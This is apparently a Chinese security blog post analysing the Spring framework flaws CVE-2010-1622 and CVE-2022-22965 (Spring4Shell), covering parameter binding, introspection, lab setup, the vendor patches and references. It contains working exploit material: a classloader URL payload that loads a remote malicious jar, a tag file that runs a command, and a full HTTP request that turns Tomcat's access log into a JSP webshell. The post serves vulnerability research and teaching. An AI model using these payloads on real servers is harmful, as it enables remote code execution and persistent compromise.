Loading

Spring4Shell 漏洞分析

Spring4Shell 漏洞分析

简介

Spring4Shell 漏洞实际上是对先前漏洞 CVE-2010-1622 的补丁绕过,CVE-2010-1622,原理就是基于上面的 JavaBean 赋值规则。可以通过提交 class.classLoader 参数,最终执行 getClassLoader 函数获取 ClassLoader 对象,进而利用 URLs[0] 属性远程加载可执行的恶意 jar 包,导致 RCE。而 Spring4Shell 是由于在 jdk9 以后在 java.lang.Class 类中新增了一个私有变量 module,可以利用 module 获得 ClassLoader 从而实现了一些意想不到的效果。

前置知识

SpringMVC 参数绑定

我们先来看对于一个 http 请求,spring 的 contoller 是如何进行参数的封装的,其实就是会根据属性名,调用对应的 getter 和 setter 方法。

例如一个简单的 get 请求参数 name=lingx5&age=18

他就会先去调用 getName() 方法, 碰到 = 号,再调用 setName() 方法。后面的 age 也是一样的

我们可以写一个测试的例子,来具体的看一个是如何执行的

目录结构

创建一个 springboot 项目,添加如下目录结构

image-20250507183250883

User 类

其实就是一个 SpringBean

再 SpringBoot 项目中,entry 目录一般就是存放数据库表所对应用的 Bean 对象的

package com.lingx5.spring4shell.entry;

public class User {
    // 内部类用于模仿一个Bean中有另一个bean的情况
    class Test{
        private int id;

        public int getId() {
            System.out.println("调用了Test.getId方法");
            return id;
        }

        public void setId(int id) {
            System.out.println("调用了Test.setId方法");
            this.id = id;
        }

        @Override
        public String toString() {
            return "Test{" +
                    "id=" + id +
                    '}';
        }
    }
    // 定义bean的属性
    private String name;
    private int age;
    private Test test;
    // 生成getter和setter方法
    public String getName() {
        System.out.println("调用了getName方法");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了setName方法");
        this.name = name;
    }

    public int getAge() {
        System.out.println("调用了getAge方法");
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用了setAge方法");
        this.age = age;
    }

    public Test getTest() {
        System.out.println("调用了getTest方法");
        return new Test();
    }

    public void setTest(Test test) {
        System.out.println("调用了setTest方法");
        this.test = test;
    }
}

UserController 类

package com.lingx5.spring4shell.controller;

import com.lingx5.spring4shell.entry.User;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class UserContorller {
    @RequestMapping("/adduser")
    @ResponseBody
    public String addUser(User user) {
        return "success";
    }
}

传参为 User 这个对象,我们启动 springboot 项目,发送请求 http://localhost:8080/adduser?name=lingx5&test.id=1

可以发现控制台输出

image-20250507183840814

其内部就是有 springMVC 的组件 WebDataBinder 调用 BeanWrapperImpl.BeanPropertyHandler#getValueBeanWrapperImpl.BeanPropertyHandler#setValue 内部本质是反射来实现的

image-20250507201211271

可以看一下调用 getter 的调用栈,其他的都是一样的,可以自己调一下

getName:31, User (com.lingx5.spring4shell.entry)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:77, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:568, Method (java.lang.reflect)
getValue:308, BeanWrapperImpl$BeanPropertyHandler (org.springframework.beans)
processLocalProperty:446, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:278, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:266, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValues:104, AbstractPropertyAccessor (org.springframework.beans)
applyPropertyValues:856, DataBinder (org.springframework.validation)
doBind:751, DataBinder (org.springframework.validation)
doBind:198, WebDataBinder (org.springframework.web.bind)
bind:118, ServletRequestDataBinder (org.springframework.web.bind)

setter 的调用栈

setName:36, User (com.lingx5.spring4shell.entry)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:77, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:568, Method (java.lang.reflect)
setValue:332, BeanWrapperImpl$BeanPropertyHandler (org.springframework.beans)
processLocalProperty:463, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:278, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:266, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValues:104, AbstractPropertyAccessor (org.springframework.beans)
applyPropertyValues:856, DataBinder (org.springframework.validation)
doBind:751, DataBinder (org.springframework.validation)
doBind:198, WebDataBinder (org.springframework.web.bind)
bind:118, ServletRequestDataBinder (org.springframework.web.bind)

值得注意的是:

如果变量为数组类型,即使没有提供对应的 setter 方法,也是可以修改值得,假设有一个 private String[] name; 这样一个变量,我们此时访问 /user?name[0]=lingx5 会把 name [0] 的值修改为 lingx5 ,这其实就是得益于 java 的内省机制,我们后边会讲到。

在 org.springframework.beans.BeanWrapperImpl#setPropertyValue 方法中 调用了 Array.set() 方法,给数组赋值

image-20250510151700832

Class 类

在 Java 运行时会有两种对象:Class 对象和实例对象。

Class 对象就是有 JVM 抽象的对象信息:比如有一个类 User 编译后对应一个 User.class 文件,这个 class 只会被 JVM 加载一次,JVM 会把它的描述信息抽象成一个对象(java.lang.Class)。正是这个类提供了 java 的反射机制,来操作源类

实例对象:User u = new User(); 这个 u 就是一个实例对象,可以正常的进行对象方法的调用等操作

同样的可以简单写一个测试,比较一下

package com.lingx5.spring4shell.entry;

public class test {
    public static void main(String[] args) throws Exception {
        // User实例对象
        User u = new User();
        System.out.println(u);
        // Class对象
        Class clazz1 = User.class;
        Class clazz2 = u.getClass();
        Class clazz3 = Class.forName("com.lingx5.spring4shell.entry.User");
        // 输出结果相同,因为Class对象是由JVM在加载类时创建的,所以同一个类只会有一个Class对象
        System.out.println(clazz1);
        System.out.println(clazz2);
        System.out.println(clazz3);
        // 同时,Class对象也是一个类,所以也有自己的Class对象
        Class<? extends Class> clazz4 = clazz1.getClass();
        System.out.println(clazz4);
    }
}

结果

image-20250507204516562

javaBean

其实 javaBean 格式的相关内容,我们再 fastjson 中已经讲到过了,这里主要就是了解一下在 javaBean 中的内省机制(Introspector)

Introspector(内省)是 Java 语言中的一种通过反射机制分析类的属性、方法和事件的技术。其实就是允许 javaBean 分析自己的 getter 和 setter 方法查看自己的属性

jdk 中的内省类主要有

  1. Introspector 类 : 用 getBeanInfo() 方法获取 JavaBean 的描述信息,封装了分析一个 bean 的全部逻辑
  2. BeanInfo 接口 : getPropertyDescriptors() 获得所有属性的描述符数组。
  3. PropertyDescriptor 类 : 封装了一个 Bean 属性的名字、类型、getter、setter 方法等 , 可以调用对应方法,获得 bean 的相关属性和方法

我们看一个具体的示例

package com.lingx5.spring4shell.entry;

import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;

public class IntrospectorTest {
    public static void main(String[] args) throws Exception {
        // 利用Introspector获取User类的BeanInfo信息
        BeanInfo beanInfo = Introspector.getBeanInfo(User.class);
        // 获取所有的属性描述符,并遍历输出属性名、getter和setter方法
        for (PropertyDescriptor pd : beanInfo.getPropertyDescriptors()) {
            System.out.println(pd.getName()+"属性的getter和setter方法:");
            System.out.println(pd.getReadMethod());
            System.out.println(pd.getWriteMethod());
            System.out.println("--------------------------------------");
        }
    }
}

输出的结果

age属性的getter和setter方法:
public int com.lingx5.spring4shell.entry.User.getAge()
public void com.lingx5.spring4shell.entry.User.setAge(int)
--------------------------------------
class属性的getter和setter方法:
public final native java.lang.Class java.lang.Object.getClass()
null
--------------------------------------
name属性的getter和setter方法:
public java.lang.String com.lingx5.spring4shell.entry.User.getName()
public void com.lingx5.spring4shell.entry.User.setName(java.lang.String)
--------------------------------------
test属性的getter和setter方法:
public com.lingx5.spring4shell.entry.User$Test com.lingx5.spring4shell.entry.User.getTest()
public void com.lingx5.spring4shell.entry.User.setTest(com.lingx5.spring4shell.entry.User$Test)
--------------------------------------

可以看到 User 这个 javaBean 的属性和对应的 getter、setter 方法

这里有一个 class 属性,并且有读方法,这是由于所有类都是 Object 的子类,Object 又拥有 getClass()方法,Java 内省机制认为,只要有 get/set 方法中的其中一个,那么就可以找到 class 属性

class 属性的 getter 和 setter 方法:
public final native java.lang.Class java.lang.Object.getClass()
null

SpringBean

springbean 是 spring 框架运行时所管理的对象,可以说只要被 Spring 容器管理,任何类型的 Java 对象都可以是 Spring Bean,但是 springbean 不像 javaBean 一样有严格的限制,满足一下即可

  • 尽量为每个 Bean 实现类提供无参的构造器
  • 接受构造注入的 Bean,应该提供对应的构造方法
  • 接受值注入的 Bean,应该提供对应的 setter 方法,并不强制要求提供对应的 getter 方法

当然 SpringBean 也有对应的内省机制(BeanWrapperImpl),实际上在 SpringMVC 参数绑定 也是依靠内省机制实现的

BeanWrapperImpl 内省

BeanWrapperImpl 他相当于是 java.beans.Introspector 内省 的增强,底层使用了 Introspector 机制,但还额外支持了 Spring 类型转换机制、嵌套属性、复杂路径表达式(比如 person.address.city),并且能更好地处理集合/数组等特殊类型。

示例

package com.lingx5.spring4shell.entry;

import org.springframework.beans.BeanWrapperImpl;

import java.beans.PropertyDescriptor;

public class BeanWrapperTest {
    public static void main(String[] args) {
        BeanWrapperImpl beanWrapper = new BeanWrapperImpl(new User());
        for (PropertyDescriptor pd : beanWrapper.getPropertyDescriptors()) {
            System.out.println(pd.getName()+"属性的getter和setter方法:");
            System.out.println(pd.getReadMethod());
            System.out.println(pd.getWriteMethod());
            System.out.println("------------------------------");
        }
        //调用写方法,修改属性值
        beanWrapper.setPropertyValue("name","lingx5");
        beanWrapper.setPropertyValue("age",20);
        System.out.println(beanWrapper.getPropertyValue("name")+" : "+beanWrapper.getPropertyValue(
                "age"));
    }
}

输出结果

age属性的getter和setter方法:
public int com.lingx5.spring4shell.entry.User.getAge()
public void com.lingx5.spring4shell.entry.User.setAge(int)
------------------------------
class属性的getter和setter方法:
public final native java.lang.Class java.lang.Object.getClass()
null
------------------------------
name属性的getter和setter方法:
public java.lang.String com.lingx5.spring4shell.entry.User.getName()
public void com.lingx5.spring4shell.entry.User.setName(java.lang.String)
------------------------------
test属性的getter和setter方法:
public com.lingx5.spring4shell.entry.User$Test com.lingx5.spring4shell.entry.User.getTest()
public void com.lingx5.spring4shell.entry.User.setTest(com.lingx5.spring4shell.entry.User$Test)
------------------------------
调用了setName方法
调用了setAge方法
调用了getName方法
调用了getAge方法
lingx5 : 20

BeanWrapperImpl 可以直接调用封装好的 setPropertyValue 和 getPropertyValue 来方便的对 springbean 的属性进行操作

而对于 person.address.city 这样多级嵌套的支持,主要是在 org.springframework.beans.BeanWrapperImpl#getBeanWrapperForPropertyPath 实现的

image-20250510152758258

CVE-2010-1622

我们先来看之前爆出的这个漏洞,这个最早披露的该类型的漏洞,因为在 SpringBean 里有 class 属性可以利用内省覆盖对应对的 ClassLoader,可以修改 Tomcat WebappClassLoader 中的 repositoryURLs 让应用程序加载自定义 jar,从而实现命令执行

影响早期版本的 spring 框架

  • Spring Framework

    • >= 2.5.0, <= 2.5.6
    • >= 3.0.0, <= 3.0.2
  • Tomcat

    • < 6.0.28

环境搭建:用的师傅的 github 项目,https://github.com/l3yx/vuln-debug/spring-framework/CVE-2010-1622

这个公开的 payload 为

http://localhost:8080/user?class.classLoader.URLs[0]=jar:http://127.0.0.1:8081/springExp.jar!/

jstl

全称是 JavaServer Pages Standard Tag Library,即 Java 服务器页面标准标签库。他是一组自定义的标签库,当然也可以自定义。这就是我们攻击成功的主要原因,Spring 在渲染 jsp 页面时,会去加载标签库,因为我们在 jar 包中自定义了恶意的标签,在加载解析时触发命令执行

攻击大致流程

  1. 用 class.classLoader 获得 ClassLoader 类加载器,而在 tomcat 中类加器一般为 org.apache.catalina.loader.WebappClassLoader 它继承了 URLClassLoader 有一个 getURLs() 方法返回 URLs 的数组
  2. springbean 的内省机制,对于数组不需要 setter 方法也可以修改值,内部是 Array.set() 实现的
  3. tomcat 的 org.apache.jasper.compiler.TldLocationsCache 会从 WebappClassLoader 里面读取 urls 参数并解析恶意的 TLD 文件,实现 RCE

springExp.jar

TldLocationsCache 的主要就是扫描 JAR 包、/WEB-INF/、/META-INF/ 路径,找到可用的 TLD 文件。

Tomcat 会自动扫描 /WEB-INF/lib 中所有 JAR 的 /META-INF/.tld 文件以及 Web 应用程序的 /META-INF/.tld 文件,以查找自定义标签库描述符。

主要代码

// 初始化
private void init() throws JasperException {
    if (!this.initialized) {
        try {
            // 处理 web.xml 配置文件
            this.processWebDotXml();
            // 扫描应用依赖的 JAR 包,寻找里面的 TLD文件
            this.scanJars();
            // 扫描和处理 /WEB-INF/ 目录下的 TLD 文件
            this.processTldsInFileSystem("/WEB-INF/");
            this.initialized = true;
        } catch (Exception ex) {
            throw new JasperException(Localizer.getMessage("jsp.error.internal.tldinit", ex.getMessage()));
        }
    }
}
// 调用了 scanJars()
private void scanJars() throws Exception {
    // 从线程获取webappClassLoader
    ClassLoader webappLoader = Thread.currentThread().getContextClassLoader();

    for(ClassLoader loader = webappLoader; loader != null; loader = loader.getParent()) {
        if (loader instanceof URLClassLoader) {
            // 拿到URL[]数组
            URL[] urls = ((URLClassLoader)loader).getURLs();

            for(int i = 0; i < urls.length; ++i) {
                URLConnection conn = urls[i].openConnection();
                if (conn instanceof JarURLConnection) {
                    if (this.needScanJar(loader, webappLoader, ((JarURLConnection)conn).getJarFile().getName())) {
                        // 调用scanJar 加载 tld 文件
                        this.scanJar((JarURLConnection)conn, true);
                    }
                } else {
                    String urlStr = urls[i].toString();
                    if (urlStr.startsWith("file:") && urlStr.endsWith(".jar") && this.needScanJar(loader, webappLoader, urlStr)) {
                        URL jarURL = new URL("jar:" + urlStr + "!/");
                        this.scanJar((JarURLConnection)jarURL.openConnection(), true);
                    }
                }
            }
        }
    }

}

所以我们的 springExp.jar 中肯定就是在 META-INF 目录下自定义 TLD 文件

目录结构

image-20250510123543530

springform.tld

<?xml version="1.0" encoding="UTF-8"?>
<taglib xmlns="http://java.sun.com/xml/ns/j2ee"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd" version="2.0">
    <description>Spring Framework JSP Form Tag Library</description>
    <tlib-version>3.0</tlib-version>
    <short-name>form</short-name>
    <uri>http://www.springframework.org/tags/form</uri>
    <tag-file>
        <name>input</name>
        <path>/META-INF/tags/InputTag.tag</path>
    </tag-file>
    <tag-file>
        <name>form</name>
        <path>/META-INF/tags/InputTag.tag</path>
    </tag-file>
</taglib>

InputTag.tag

<%@ tag dynamic-attributes="dynattrs" %>
<%
    java.lang.Runtime.getRuntime().exec("calc");
%>

可以看到我们自定义的 springform.tld 文件,覆盖了 springMVC 自己的 input 和 form 标签,改为了 /META-INF/tags/InputTag.tag 恶意的标签,当 jsp 渲染的时候会执行恶心代码

Exploit

我们发送开启 http 服务,发送 payload

http://localhost:8080/demo/test?class.classLoader.URLs[0]=jar:http://lingx5.dns.army:8000/springExp.jar!/

看到在 org.apache.jasper.compiler.TldLocationsCache#scanJars 中获得的 URLs [] 数组的第 0 个元素被我们改成了恶意的 jar 包地址

image-20250510105828563

成功弹出计算器

image-20250510123651699

调用栈

赋值 urls []

image-20250510130517681

调用栈

setPropertyValue:1146, BeanWrapperImpl (org.springframework.beans)
setPropertyValue:857, BeanWrapperImpl (org.springframework.beans)
setPropertyValues:76, AbstractPropertyAccessor (org.springframework.beans)
applyPropertyValues:665, DataBinder (org.springframework.validation)
doBind:561, DataBinder (org.springframework.validation)
doBind:190, WebDataBinder (org.springframework.web.bind)
bind:110, ServletRequestDataBinder (org.springframework.web.bind)

解析 URLs []

image-20250510130756902

调用栈

scanJars:504, TldLocationsCache (org.apache.jasper.compiler)
init:244, TldLocationsCache (org.apache.jasper.compiler)
getLocation:219, TldLocationsCache (org.apache.jasper.compiler)
getTldLocation:530, JspCompilationContext (org.apache.jasper)
parseTaglibDirective:419, Parser (org.apache.jasper.compiler)
parseDirective:476, Parser (org.apache.jasper.compiler)
parseElements:1426, Parser (org.apache.jasper.compiler)
parse:133, Parser (org.apache.jasper.compiler)
doParse:215, ParserController (org.apache.jasper.compiler)
parse:102, ParserController (org.apache.jasper.compiler)
generateJava:167, Compiler (org.apache.jasper.compiler)
compile:306, Compiler (org.apache.jasper.compiler)
compile:286, Compiler (org.apache.jasper.compiler)
compile:273, Compiler (org.apache.jasper.compiler)
compile:566, JspCompilationContext (org.apache.jasper)
service:308, JspServletWrapper (org.apache.jasper.servlet)
serviceJspFile:320, JspServlet (org.apache.jasper.servlet)
service:266, JspServlet (org.apache.jasper.servlet)
service:803, HttpServlet (javax.servlet.http)
internalDoFilter:290, ApplicationFilterChain (org.apache.catalina.core)
doFilter:206, ApplicationFilterChain (org.apache.catalina.core)

漏洞修复

官方在 springbean 的加载时的 CachedIntrospectionResults 加入了对 class.classLoader 的判断

Comparing v3.0.2.RELEASE..v3.0.3.RELEASE · spring-projects/spring-framework

image-20250510132215684

同时 tomcat 也对这个漏洞做了修复

Tomcat 6.0.28 版本后把 getURLs 方法返回的值改成了 clone 的,也就是说我们即使能绕过 springFramework 的修复,也无法再利用 webappClassLoader 获得并设置 URLs [] 数组,实现远程 jar 包加载的 RCE 了

CVE-2022-22965(Spring4Shell)

利用条件:

  1. JDK 版本:JDK 9 及以上版本
  2. 受影响组件:直接或者间接地使 ⽤ 了 Spring-beans 包(Spring boot 等框架都使用了)
  3. 受影响的版本:Spring Framework < 5.3.18 ,Spring Framework < 5.2.20 及衍生版本
  4. 部署方式:使用 war 包部署于 tomcat(非 spring 的可执行的 jar 文件)

这其实就是对 CVE-2010-1622 的绕过。

原因:

  • jdk9 以后给 Class 加入了 module 属性,我们可以利用 module 获得 ClassLoader, 也就是可以利用 class.module.classLoader 获得
image-20250510160407696 image-20250510160439795

环境搭建

正常创建一个 springboot2.6.3 的项目, 创建时选择 war 包方式,再配置一下 tomcat 服务器启动即可

我这里用的 springboot2.6.3 ,jdk11 ,tomcat 8.5.27

创建项目

image-20250510200649208 image-20250510200803089

修改一下 pom.xml 文件

<parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <version>2.6.3</version>
    <relativePath/> <!-- lookup parent from repository -->
</parent>

<properties>
    <java.version>11</java.version>
    <!--把spring-beans修改为有漏洞的版本-->
    <spring-beans.version>5.3.17</spring-beans.version>
</properties>

同时更改 idea 项目结构中的 jdk

image-20250510203140332

然后把 User 和 UserController 加入进来

User

package com.lingx5.spring;

public class User {
    private String name;
    private int age;
    public String getName() {

        return name;
    }
    public void setName(String name) {

        this.name = name;
    }
    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

UserController

package com.lingx5.spring;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class UserContorller {
    @RequestMapping("/adduser")
    @ResponseBody
    public String addUser(User user) {
        return "success";
    }
}

最终的项目结构

image-20250510203048697

打包一下

mvn package

把 taget 里的 war 包复制到 tomcat 的 webapps 目录下,启动 tomcat 就好了

漏洞分析

我们可以创建一个 controller,看一下 Class.Module.ClassLoader 有哪些属性

package com.lingx5.spring4shell.controller;

import com.lingx5.spring4shell.entry.User;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashSet;

@Controller
public class ProperController {
    @RequestMapping("/testclass")
    public void classTest(){
        HashSet<Object> set = new HashSet<Object>();
        String poc = "class.moduls.classLoader";
        User action = new User();
        processClass(action.getClass().getClassLoader(),set,poc);
    }
    public void processClass(Object instance, java.util.HashSet set, String poc){
        try {
            Class<?> c = instance.getClass();
            set.add(instance);
            Method[] allMethods = c.getMethods();
            for (Method m : allMethods) {
                if (!m.getName().startsWith("set")) {
                    continue;
                }
                if (!m.toGenericString().startsWith("public")) {
                    continue;
                }
                Class<?>[] pType  = m.getParameterTypes();
                if(pType.length!=1) continue;
                if(pType[0].getName().equals("java.lang.String")||
                        pType[0].getName().equals("boolean")||
                        pType[0].getName().equals("int")){
                    String fieldName = m.getName().substring(3,4).toLowerCase()+m.getName().substring(4);
                    System.out.println(poc+"."+fieldName);
                }
            }
            for (Method m : allMethods) {
                if (!m.getName().startsWith("get")) {
                    continue;
                }
                if (!m.toGenericString().startsWith("public")) {
                    continue;
                }
                Class<?>[] pType  = m.getParameterTypes();
                if(pType.length!=0) continue;
                if(m.getReturnType() == Void.TYPE) continue;
                m.setAccessible(true);
                Object o = m.invoke(instance);
                if(o!=null)
                {
                    if(set.contains(o)) continue;
                    processClass(o, set, poc+"."+m.getName().substring(3,4).toLowerCase()+m.getName().substring(4));
                }
            }
        } catch (IllegalAccessException | InvocationTargetException x) {
            x.printStackTrace();
        }
    }
}

启动项目访问 /testclass

image-20250510162639084

发现有 AccessValve 的一些属性

class.module.classLoader.resources.context.parent.pipeline.first.directory 
class.module.classLoader.resources.context.parent.pipeline.first.prefix 
class.module.classLoader.resources.context.parent.pipeline.first.suffix 
class.module.classLoader.resources.context.parent.pipeline.first.pattern 
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat

AccessLogValve

AccessLogValve 是 Tomcat 中用来记录访问日志的一个“阀门”(Valve)组件。它的主要作用是将 HTTP 请求相关信息(比如客户端 IP、访问时间、请求方法、响应码等)写入到日志文件,这些日志常用于访问统计、性能分析、安全审计等场景。

在 servlet.xml 中常见的配置如下:

<Host name="localhost"  appBase="webapps" ...>
  <Valve className="org.apache.catalina.valves.AccessLogValve"
         directory="logs" 
         prefix="localhost_access_log"
         suffix=".txt"
         pattern="%h %l %u %t &quot;%r&quot; %s %b" />
</Host>
  • directory:access_log 文件输出目录。
  • prefix:access_log 文件名前缀。
  • pattern:access_log 文件内容格式。
  • suffix:access_log 文件名后缀。

而我们可以利用 class.module.classloader 设置日志的路径、名称、后缀和内容,这不就相当于是可以写木马了

可以做如下修改

// 指定存放路径为 webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
// 指定文件名前缀为shell
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
// 指定文件名后缀为.jsp
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
// 指定文件内容为 jsp 一句话木马
class.module.classLoader.resources.context.parent.pipeline.first.pattern="jsp一句话木马"
// 指定文件名中间内容为空
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

漏洞复现

POST /spring/adduser HTTP/1.1
Host: localhost:8080
sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
suffix: %>
prefix: <%
Content-Length: 460

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{prefix}iRuntime.getRuntime().exec("calc")%3b%25{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=./webapps/ROOT/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

注意最后不要有空行
image-20250510203425201

后访问 /shell.jsp

image-20250510200035518

这个漏洞只能在 tomcat 中实现,也就是说必须要 war 包在 tomcat 容器里部署,如果是 springboot 启动的话就不行了。

这主要是因为 ClassLoader 不一样,tomcat中获得的是org.apache.catalina.loader.ParallelWebappClassLoader

而在springboot中是org.springframework.boot.loader.LaunchedURLClassLoader,它并没有resources成员变量,也没有利用链

POC 说明

%{prefix}i 的形式是官方规定的 AccessLogValve 可以从请求体中获取信息的表达式。官方文档说明如下 https://tomcat.apache.org/tomcat-8.5-doc/api/org/apache/catalina/valves/AbstractAccessLogValve.html

image-20250510210406146

漏洞修复

spring 5.3.18

同样是在 CachedIntrospectionResults 做了更加严格的限制

Comparing v5.3.17...v5.3.18 · spring-projects/spring-framework

可以看到当Java Bean的类型为java.lang.Class时,仅允许获取name以及Name后缀的属性描述符。

image-20250510211637546

tomcat 9.0.62

getResources()方法的返回值做了修改,直接返回null。获取不到 Resources 自然也无法修改 AccessLogValve 的输出路径。

参考文章

从零开始,分析 Spring Framework RCE - 跳跳糖

Spring4Shell: The zero-day RCE in the Spring Framework explained | Snyk

Spring Beans RCE 分析(附带环境源码)

【最新漏洞预警】CVE-2022-22965 Spring 核心框架 Spring4Shell 远程命令执行漏洞原理与修复方式分析

Spring Framework 代码执行(CVE-2010-1622) | l3yx's blog

spring rce 从 cve-2010-1622 到 CVE-2022-22965 篇一-先知社区

Spring远程命令执行漏洞(CVE-2022-22965)原理分析和思考-安全KER - 安全资讯平台

posted @ 2025-05-10 21:23  LingX5  阅读(123)  评论(0)    收藏  举报